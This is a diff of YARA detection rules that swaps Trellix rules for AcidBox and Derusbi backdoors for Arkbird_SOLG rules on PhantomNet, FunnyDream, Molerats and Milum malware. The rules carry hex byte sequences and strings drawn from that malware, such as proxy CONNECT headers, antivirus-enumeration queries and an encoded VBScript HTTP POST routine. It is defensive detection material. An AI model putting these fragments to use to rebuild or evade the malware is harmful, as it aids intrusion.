+		$s10 = { 68 74 74 70 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 68 74 74 70 73 3d 00 00 73 6f 63 6b 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 73 6f 63 6b 73 3d 00 00 68 74 74 70 3d 25 5b 5e 3a 5d 3a 25 64 00 00 00 68 74 74 70 3d }
+		$s11 = "&About VVSup..." fullword wide
+		$s12 = "%d.tmp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <550KB and any of them
+		uint16(0)==0x5a4d and filesize >90KB and 7 of them
 }
-rule TRELLIX_ARC_APT_Acidbox_Kernelmode_Module : KERNELDRIVER FILE
+rule ARKBIRD_SOLG_Mal_Phantomnet_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the kernel mode component of AcidBox"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "80b60307-5431-5f21-9e6f-06adaab0519d"
-		date = "2020-07-24"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "e39da89d0da22115ac7889bc73ff183973a6c5334e304df955362bde76694d42"
+		description = "Detect PhantomNet (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "16ddcc9a-8254-5d40-adcd-70ebe212fc78"
+		date = "2020-12-19"
+		modified = "2020-12-19"
+		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_PhantomNet_Nov_2020_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "a08467f68968fb0dfa82bca5984e1ad823f222946bd0acb62db418556a9a347a"
 		score = 75
-		quality = 70
-		tags = "KERNELDRIVER, FILE"
-		rule_version = "v1"
-		malware_type = "kerneldriver"
-		malware_family = "Rootkit:W32/Acidbox"
-		actor_type = "APT"
-		actor_group = "Turla"
-		hash1 = "3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d"
+		quality = 65
+		tags = "FILE"
+		hash1 = "ea7b2def3335b81048aac8fc372349f38453b676fa833603b7e15c45437f6858"
+		hash2 = "338502691f6861ae54e651a25a08e62eeca9febc6830978a670d44caf3d5d056"
 
 	strings:
-		$pattern_0 = { 897c2434 8978b8 8d5f28 448bc3 33d2 }
-		$pattern_1 = { 4c8d842470010000 488d942418010000 498bcf e8???????? 8bd8 89442460 }
-		$pattern_2 = { 4c8bf1 49d1eb 4585c9 0f88a2000000 440fb717 498bd0 }
-		$pattern_3 = { ff15???????? 4c8d9c2480000000 498b5b10 498b7318 498b7b20 4d8b7328 498be3 }
-		$pattern_4 = { 33d2 41b8???????? 895c2420 e8???????? }
-		$pattern_5 = { 895c2420 4885ff 0f8424010000 440f20c0 84c0 0f8518010000 }
-		$pattern_6 = { 85f6 0f8469fdffff 488d8424c8010000 41b9???????? }
-		$pattern_7 = { 894c2404 750a ffc7 893c24 41ffc3 ebcb 85c9 }
-		$pattern_8 = { 488b5c2450 488b742458 488b7c2460 4883c430 }
-		$pattern_9 = { 33d2 488b4c2428 e8???????? 448b842450040000 4503c0 4c8d8c2450040000 488bd7 }
+		$s1 = { 25 73 25 30 38 58 }
+		$s2 = { 68 00 74 00 74 00 70 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 }
+		$s3 = { 6b 25 34 64 2d 25 30 32 64 2d 25 30 32 64 }
+		$s4 = { 47 6c 6f 62 61 6c 5c 47 6c 6f 62 61 6c 41 63 70 72 6f 74 65 63 74 4d 75 74 65 78 }
+		$s5 = "Proxy-Authorization: NTLM" fullword ascii
+		$s6 = { 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a }
+		$s7 = { 48 54 54 50 2f 31 2e 31 20 00 00 00 48 54 54 50 2f 31 2e 30 20 }
+		$s8 = { 52 00 6f 00 6f 00 74 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 57 51 4c }
+		$s9 = { 68 74 74 70 00 00 00 00 25 5b 5e 3a 5d 00 00 00 25 2a 5b 5e 3a 5d 3a 25 64 }
+		$s10 = { 48 6f 73 74 3a 20 }
+		$s11 = { 43 6f 6f 6b 69 65 73 3a 20 }
+		$s12 = "Proxy-Authenticate: NTLM" fullword ascii
 
 	condition:
-		7 of them and filesize <78848
+		uint16(0)==0x5a4d and filesize >90KB and 9 of them
 }
-rule TRELLIX_ARC_APT_Acidbox_Main_Module_Dll : BACKDOOR FILE
+rule ARKBIRD_SOLG_Mal_Funnydream_Backdoor_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Main mode component of AcidBox"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "8c9beb0f-62f7-5788-8340-0b1ecdf54253"
-		date = "2020-07-24"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L34-L65"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "db98e204742b8629074d47df301ffcbb2dfb977a4da91557fb50838aae79e777"
+		description = "Detect backdoor used by FunnyDream (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "48120ba2-adaa-5098-8d8c-5c32bbafb9f6"
+		date = "2020-12-19"
+		modified = "2020-12-19"
+		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_FunnyDream_Backdoor_Nov_2020_1.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "d12c465c735f09295b382fd5679d411c5114c232dabc22be84151e436f8fa199"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Acidbox"
-		actor_type = "APT"
-		actor_group = "Turla"
-		hash1 = "eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5"
+		quality = 67
+		tags = "FILE"
+		hash1 = "ce5c8741bffa8de5093d1831d736a7e478a54baa3676da37cde24f38d10f3529"
 
 	strings:
-		$pattern_0 = { 7707 b8022d03a0 eb05 e8???????? }
-		$pattern_1 = { 4403c8 8bc3 41d1c6 33c6 81c6d6c162ca c1cb02 33c7 }
-		$pattern_2 = { e9???????? 412b5c2418 8b45dc 412b442408 41015c241c 410144240c 015f1c }
-		$pattern_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 }
-		$pattern_4 = { 48895c2408 57 4883ec30 498bd8 488bfa 488364245800 85c9 }
-		$pattern_5 = { 488987e0010000 e9???????? 81cb001003a0 e9???????? 488b87a0010000 44847806 742e }
-		$pattern_6 = { 4d8bcc 4c8d0596c50100 498bd4 488bce e8???????? 498b9de0010000 c74605aa993355 }
-		$pattern_7 = { 4533c0 8d5608 e8???????? 488bf0 4889442460 4885c0 750b }
-		$pattern_8 = { 488d5558 41c1ee08 41b802000000 44887559 e8???????? 4c8b4de0 894718 }
-		$pattern_9 = { 4d03c2 4d3bc2 4d13cc 4d0303 4d3b03 4d8903 4c8b13 }
+		$s1 = { 25 64 25 64 25 64 20 25 64 3a 25 64 }
+		$s2 = { 73 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 00 00 50 72 6f 78 79 45 6e 61 62 6c 65 00 50 72 6f 78 79 53 65 72 76 65 }
+		$s3 = { 48 41 52 44 57 41 52 45 5c 44 45 53 43 52 49 50 54 49 4f 4e 5c 53 79 73 74 65 6d 5c 43 65 6e 74 72 61 6c 50 72 6f 63 65 73 73 6f 72 5c 30 }
+		$s4 = { 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 75 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 25 75 25 73 25 73 0d 0a 53 65 72 76 65 72 3a 20 53 69 6d 70 6c 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 }
+		$s5 = { 43 4f 4e 4e 45 43 54 20 25 73 3a 25 64 20 48 54 54 50 2f 31 2e 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 31 30 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 29 0d 0a 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a }
+		$s6 = { 31 32 33 34 35 36 00 00 55 73 65 72 2d 30 30 31 }
+		$s7 = { 25 73 20 25 73 25 73 2f 25 73 2f 25 30 38 58 25 30 38 58 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 30 38 58 25 30 38 78 }
+		$s8 = { 63 6c 74 2e 65 78 65 00 44 6c 6c 49 6e 73 74 61 6c 6c 00 53 74 61 72 74 }
+		$s9 = { 32 30 30 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 65 73 74 61 62 6c 69 73 68 65 64 }
+		$s10 = { 5c 63 6d 64 c7 85 e0 fe ff ff 2e 65 78 65 }
 
 	condition:
-		7 of them and filesize <550912
+		uint16(0)==0x5a4d and filesize >90KB and 6 of them
 }
-rule TRELLIX_ARC_APT_Acidbox_Ssp_Dll_Module : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT_Molerats_Feb_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the SSP DLL component of AcidBox"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "ef1511c5-f650-5e65-937c-466f00932183"
-		date = "2020-07-24"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L67-L98"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "4c9b9de11d73587ca1ad1efa5455598e41edc5a9a59fc0339c429a212c1c7941"
+		description = "Detect Molerats implants"
+		author = "Arkbird_SOLG"
+		id = "8ede3aa9-9788-52a5-91a7-bb160daad5ba"
+		date = "2021-02-27"
+		modified = "2021-03-01"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-28/Molerats/APT_Molerats_Feb_2021_1.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "fbd98f088019434f736107dfe62a307e2c57d0288d68f3133a13de59bf318aea"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Acidbox"
-		actor_type = "APT"
-		actor_group = "Turla"
-		hash1 = "003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0a55551ade55705d4be6e946ab58a26d7cf8087558894af8799931b09d38f3bc"
+		hash2 = "c9d7b5d06cd8ab1a01bf0c5bf41ef2a388e41b4c66b1728494f86ed255a95d48"
 
 	strings:
-		$pattern_0 = { 49897ba0 8bc7 49894398 49897ba8 33c9 49894bb0 }
-		$pattern_1 = { 8b8424a8000000 c1e818 88443108 66895c310a 498b0e }
-		$pattern_2 = { 8b5f48 413bdd 410f47dd 85db 0f84f1000000 488b4720 4885c0 }
-		$pattern_3 = { e8???????? 85c0 78c7 488d9424a0020000 488d8c24e0030000 ff15???????? 4c8bf8 }
-		$pattern_4 = { ff15???????? 488bc8 4c8bc6 33d2 ff15???????? 8bfb 895c2420 }
-		$pattern_5 = { 415f c3 4c8bdc 49895b10 }
-		$pattern_6 = { 488d842488010000 4889442420 41bf???????? 458bcf 4c8bc7 418bd7 488d8c2490000000 }
-		$pattern_7 = { c1e908 0fb6c9 3bce 77b6 8bd0 b9???????? c1ea10 }
-		$pattern_8 = { 4c8bc3 ba???????? 488d4c2438 e8???????? 89442430 85c0 7508 }
-		$pattern_9 = { bb02160480 8bc3 488b5c2440 488b742448 488b7c2450 4883c430 }
+		$seq1 = { 55 8b ec 81 c4 60 fc ff ff 53 33 d2 89 95 60 fc ff ff 89 45 fc 33 c0 55 68 [1-3] 00 64 ff 30 64 89 20 8b 45 fc 83 78 44 00 0f 85 5d 01 00 00 b2 01 a1 [2] 44 00 e8 [3] ff 8b 55 fc 89 42 44 8b 45 fc 83 c0 48 e8 [3] ff 8d 85 ec fe ff ff 50 6a 40 e8 [3] ff 48 85 c0 0f 8c 18 01 00 00 40 89 45 f0 8d 85 ec fe ff ff 89 45 ec 8b 45 ec 8b 00 e8 35 ?? f5 ff 84 c0 0f 84 ec 00 00 00 8d 45 f4 50 68 19 00 02 00 6a 00 6a 00 8b 45 ec 0f b7 00 89 85 64 fc ff ff c6 85 68 fc ff ff 00 8d 8d 64 fc ff ff ba [3] 00 8d 85 6c fc ff ff e8 [3] ff 50 68 02 00 00 80 e8 [3] ff 85 c0 0f 85 a3 00 00 00 33 c0 55 68 [3] 00 64 ff 30 64 89 20 c7 45 f8 00 02 00 00 8d 45 f8 50 8d 85 ec fc ff ff 50 6a 00 6a 00 68 [3] 00 8b 45 f4 50 e8 [3] ff 85 c0 75 4f 8d 85 60 fc ff ff 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 8b 95 60 fc ff ff 8b 45 ec 8b 08 8b 45 fc 8b 40 44 8b 18 ff 53 40 8b 45 ec 8b 00 8b 55 fc 3b 42 4c 75 16 8b 45 fc 83 c0 48 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 33 c0 5a 59 59 64 89 10 68 [3] 00 8b 45 f4 50 e8 [3] ff }
+		$seq2 = { 55 8b ec 81 c4 e4 fd ff ff 53 8b da 89 45 fc 8b 45 fc e8 [2] ff ff 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 83 7d fc 00 75 15 68 05 01 00 00 8d 85 e6 fd ff ff 50 6a 00 e8 [2] ff ff eb 1a 8b 45 fc e8 [2] ff ff 8b c8 8d 85 e6 fd ff ff ba 05 01 00 00 e8 da f7 ff ff 66 83 bd e6 fd ff ff 00 0f 84 a7 01 00 00 33 c0 89 45 f8 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 84 9a 00 00 00 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 02 00 00 80 e8 2b 5e ff ff 85 c0 74 7c 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 01 00 00 80 e8 0d 5e ff ff 85 c0 74 5e 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 02 00 00 80 e8 [2] ff ff 85 c0 74 40 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 74 22 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 85 e6 00 00 00 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 8d 85 e6 fd ff ff ba 05 01 00 00 e8 c9 fc ff ff 8d 45 f0 50 6a 00 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 85 c0 75 33 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff eb 4b 8d 45 f0 50 6a 00 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 85 c0 75 2f 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff 33 c0 5a 59 59 64 89 10 68 [2] 40 00 83 7d f8 00 74 08 8b 45 f8 e8 [2] ff ff 8b 45 f4 50 e8 [2] ff ff }
+		$seq3 = { d1 f8 79 03 83 d0 00 03 45 80 89 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 10 01 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 04 29 45 d0 8b 75 8c 2b 75 d4 83 ee 02 8b 45 a4 8b 80 e4 02 00 00 2b 70 08 8b 45 a4 8b 80 e4 02 00 00 2b 70 0c 89 75 8c 6a 00 56 8b 45 d0 50 8b 45 ec e8 [2] fb ff 50 57 8b 85 68 ff ff ff 50 e8 [2] fc ff 84 db 0f 84 0d 03 00 00 a1 [3] 00 8b 00 e8 [2] 09 00 50 8b 45 b4 50 6a 23 e8 [3] ff 89 45 d8 8b 45 d8 01 45 90 83 45 94 0f 83 45 90 05 8b 45 f0 8b 40 08 8b 50 74 }
+		$s1 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword wide
+		$s2 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 }
+		$s3 = { 45 00 72 00 72 00 6f 00 72 00 20 00 6f 00 70 00 65 00 6e 00 69 00 6e 00 67 00 20 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 3a 00 20 00 28 00 25 00 64 00 29 00 20 00 25 00 73 }
+		$s4 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 2e 00 20 00 25 00 73 }
+		$s5 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 3a 00 20 00 25 00 73 }
 
 	condition:
-		7 of them and filesize <199680
+		uint16(0)==0x5a4d and filesize >500KB and 2 of ($seq*) and 3 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Milum_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the APT Derusbi ELF file"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3b1c9644-7279-5e2c-8891-f03ca78cf3b7"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0021/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L1-L61"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "0a83566a0540d28d1cc0ebee01d29d15ddc86cabff9044fd8a198b847ba24c50"
+		description = "Detect Milum malware"
+		author = "Arkbird_SOLG"
+		id = "ba1cc56e-f6da-57db-a773-4823ae343e31"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://securelist.com/wildpressure-targets-macos/103072/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-08/WildPressure/MAL_Milum_Jul_2021_1.yara#L1-L33"
+		license_url = "N/A"
+		logic_hash = "4321051fdc9ab5f4ee12c4b505e4271df89b489067875eaf3d2cb670815f7e37"
 		score = 75
-		quality = 68
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:ELF/Derusbi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "7eafb957c2e715e06489a979a185f75d7a9d502223c8aba36e7b6b8ead7d03b2"
+		hash2 = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9"
+		hash3 = "5e0226f37b861876ec38e4a1564a26e4af3022d869375bc0f09b8feea4cd9e1b"
+		tlp = "White"
+		adversary = "WildPressure"
 
 	strings:
-		$s1 = "LxMain"
-		$s2 = "execve"
-		$s3 = "kill"
-		$s4 = "cp -a %s %s"
-		$s5 = "%s &"
-		$s6 = "dbus-daemon"
-		$s7 = "--noprofile"
-		$s8 = "--norc"
-		$s9 = "TERM=vt100"
-		$s10 = "/proc/%u/cmdline"
-		$s11 = "loadso"
-		$s12 = "/proc/self/exe"
-		$s13 = "Proxy-Connection: Keep-Alive"
-		$s14 = "Connection: Keep-Alive"
-		$s15 = "CONNECT %s"
-		$s16 = "HOST: %s:%d"
-		$s17 = "User-Agent: Mozilla/4.0"
-		$s18 = "Proxy-Authorization: Basic %s"
-		$s19 = "Server: Apache"
-		$s20 = "Proxy-Authenticate"
-		$s21 = "gettimeofday"
-		$s22 = "pthread_create"
-		$s23 = "pthread_join"
-		$s24 = "pthread_mutex_init"
-		$s25 = "pthread_mutex_destroy"
-		$s26 = "pthread_mutex_lock"
-		$s27 = "getsockopt"
-		$s28 = "socket"
-		$s29 = "setsockopt"
-		$s30 = "select"
-		$s31 = "bind"
-		$s32 = "shutdown"
-		$s33 = "listen"
-		$s34 = "opendir"
-		$s35 = "readdir"
-		$s36 = "closedir"
-		$s37 = "rename"
+		$s1 = { 52 00 4f 00 4f 00 54 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 [3-7] 20 00 46 00 72 00 6f 00 6d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 64 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 20 00 3c 00 3e 00 27 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 27 }
+		$s2 = "c1VybCA9IHt1fQ0Kc1JlcXVlc3QgPSB7cH0NCkhUVFBQb3N0IHNVcmwsIHNSZXF1ZXN0DQpGdW5jdGlvbiBIVFRQUG9zdChzVXJsLCBzUmVxdWVzdCkNCiAgc2V0IG9IVFRQID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogIG9IVFRQLm9wZW4gIlBPU1QiLCBzVXJsLGZhbHNlDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZXF1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogIFdzY3JpcHQuRWNobyBvSFRUUC5yZXNwb25zZVRleHQNCiAgSFRUUFBvc3QgPSBvSFRUUC5yZXNwb25zZVRleHQNCiBFbmQgRnVuY3Rpb24=" fullword ascii
+		$s3 = { 46 49 4c 45 20 48 41 4e 44 45 4c 20 4e 4f 54 20 46 4f 55 4e 44 00 00 00 4e 4f 20 44 61 74 61 00 }
+		$s4 = { 28 00 77 00 73 00 33 00 32 00 29 00 65 00 79 00 4a 00 73 00 62 00 32 00 35 00 6e 00 64 00 32 00 46 00 70 00 64 00 43 00 49 00 36 00 49 00 6a 00 }
+		$s5 = { 55 8b ec 6a ff 68 [3] 00 64 a1 00 00 00 00 50 83 ec 24 a1 [3] 00 33 c5 89 45 f0 ?? 57 50 8d 45 f4 64 a3 00 00 00 00 [8] b9 0f 00 00 00 89 4e }
+		$s6 = { 20 2f 63 20 [0-1] 46 4f 52 20 2f 6c 20 25 69 20 69 6e 20 28 31 2c 31 2c [1-4] 29 20 44 4f 20 49 46 20 4e 4f 54 20 45 58 49 53 54 20 22 00 22 29 }
+		$s7 = { 83 c4 0c 8d 95 44 fe ff ff 52 c7 85 44 fe ff ff 14 01 00 00 ff 15 [3] 00 83 bd 48 fe ff ff 06 7d 17 bf [3] 00 89 bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 eb 1a c7 85 ?? fe ff ff [3] 00 8b bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 }
+		$s8 = { 8b 45 08 50 68 bc 78 45 00 68 d0 78 45 00 8d 8d d0 fc ff ff 51 ff d6 83 c4 10 8b 3d a0 e0 44 00 8b 35 c4 e0 44 00 8d 64 }
 
 	condition:
-		( uint32(0)==0x4464c457f) and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Kernelmodule : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Unknown_PE_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Derusbi ELK Kernel module"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "1614a63d-c5d1-5ce1-a5b8-eb48325f60e6"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0021/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L63-L105"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "0b86e96ef616e926f0d665e2bd013f2773461483176c68bd5e7c7d059ac13d78"
+		description = "Detect unknown TA that focus russian people"
+		author = "Arkbird_SOLG"
+		id = "228e194c-84d9-562a-8811-326c5efeafae"
+		date = "2020-07-14"
+		modified = "2021-07-14"
+		reference = "https://twitter.com/ShadowChasing1/status/1415292150258880513"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-14/MAL_Unknown_PE_Jul_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "9c61d2e29315bea0cdaf45b6dc48d35b8cc2d85de84afbb3a213f095a555af71"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:ELF/Derusbi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "ef80365cdbeb46fa208e98ca2f73b7d3d2bde10ea6c3f7cc22d4bbf39d921524"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = "__this_module"
-		$s2 = "init_module"
-		$s3 = "unhide_pid"
-		$s4 = "is_hidden_pid"
-		$s5 = "clear_hidden_pid"
-		$s6 = "hide_pid"
-		$s7 = "license"
-		$s8 = "description"
-		$s9 = "srcversion="
-		$s10 = "depends="
-		$s11 = "vermagic="
-		$s12 = "current_task"
-		$s13 = "sock_release"
-		$s14 = "module_layout"
-		$s15 = "init_uts_ns"
-		$s16 = "init_net"
-		$s17 = "init_task"
-		$s18 = "filp_open"
-		$s19 = "__netlink_kernel_create"
-		$s20 = "kfree_skb"
